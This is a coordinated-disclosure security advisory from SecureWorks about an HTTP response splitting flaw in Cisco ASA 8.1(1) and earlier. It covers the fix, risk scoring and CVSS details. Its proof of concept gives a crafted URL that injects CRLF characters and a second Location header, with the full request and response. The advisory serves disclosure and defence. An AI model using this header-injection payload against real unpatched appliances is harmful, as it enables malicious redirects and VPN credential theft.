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[SWRX-2010-001] Cisco ASA HTTP Response Splitting Vulnerability

SecureWorks Security Advisory SWRX-2010-001
Cisco ASA HTTP Response Splitting Vulnerability 


Advisory Information
Title: Cisco ASA HTTP Response Splitting Vulnerability 
Advisory ID: SWRX-2010-001
Advisory URL: http://www.secureworks.com/ctu/advisories/SWRX-2010-001
Date published: Thursday, June 24, 2010
CVE: CVE-2008-7257
CVSS v2 Base Score: 5 (Medium) (AV:N/AC:L/Au:N/C:N/I:P/A:N)
Date of last update: Thursday, June 24, 2010
Vendors contacted: Cisco Systems, Inc.
Release mode: Coordinated release
Discovered by: Daniel King, SecureWorks


Summary
Cisco Adaptive Security Appliance (ASA) is vulnerable to HTTP response 
splitting caused by improper validation of user-supplied input. A remote 
attacker could exploit this vulnerability using a specially-crafted URL to 
execute script in a victim?s web browser within the security context of the 
Adaptive Security Appliance site.


Affected Products
Cisco ASA version 8.1(1) and earlier.


Vendor Information, Solutions and Workarounds
Cisco has released a fix to address this security flaw. Upgrade to ASA software 
version 8.1(2) to remediate this issue.

Release Notes are available at:
http://www.cisco.com/en/US/docs/security/asa/asa81/release/notes/asarn812.html

The following ?Resolved Caveat? is listed in the Release Notes:
CSCsr09163 webvpn - +webvpn+/index.html http response splitting problem.


Details
When a user connects to the web interface of the ASA via HTTP, they are 
automatically redirected to the SSL encrypted version. The web server issues a 
301 Moved Permanently status code to the connecting client to facilitate this 
redirection. If the client appends the carriage return (%0d) and line feed 
(%0a) characters to the URL, the web server will parse these and allow the 
client to inject arbitrary HTTP response headers. Using this method, it is 
possible to inject a second Location header to the client. The client web 
browser will act on only the last Location header it encounters and redirect 
there.


SecureWorks Risk Scoring
Likelihood (scale of 1-5, with 5 being high): 5 ? This device is designed to be 
on the perimeter of a network to allow remote access.

Impact (scale of 1-5, with 5 being high): 4 ? Leveraging this attack could lead 
to stolen credentials and access to the VPN.


CVSS Severity (version 2.0)
Access Vector: Network exploitable 
Access Complexity: Low
Authentication: Not required to exploit
Confidentiality Impact: None
Integrity Impact: Partial
Availability Impact: None
Impact Subscore: 2.9
Exploitability Subscore: 10
CVSS v2 Base Score: 5 (Medium) (AV:N/AC:L/Au:N/C:N/I:P/A:N)


Proof of Concept

URL:
http://x.x.x.x/%0d%0aLocation%3a%20http%3a%2f%2fwww%2egoogle%2ecom

Request:
GET http://x.x.x.x/%0d%0aLocation%3a%20http%3a%2f%2fwww%2egoogle%2ecom HTTP/1.0
Host: x.x.x.x
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7

Response:
HTTP/1.0 301 Moved Permanently
Server: Web Server
Location: https://x.x.x.x/
Location: http://www.google.com
Content-Type: text/html
Content-Length: 125

<HEAD><TITLE>Moved</TITLE></HEAD><BODY><A HREF="https://x.x.x.x/
Location: http://www.google.com";>Moved</A></BODY>


Revision History
1.0     Thursday, June 24, 2010 ? Initial advisory release


PGP Keys
This advisory has been signed with the PGP key of the SecureWorks Counter 
Threat Unit(SM), which is available for download at 
http://www.secureworks.com/contact/SecureWorksCTU.asc.


About the SecureWorks Counter Threat Unit(SM)
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Threat Unit(SM), identifies and analyzes emerging threats and develops 
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Disclaimer
Copyright © 2010 SecureWorks, Inc.      
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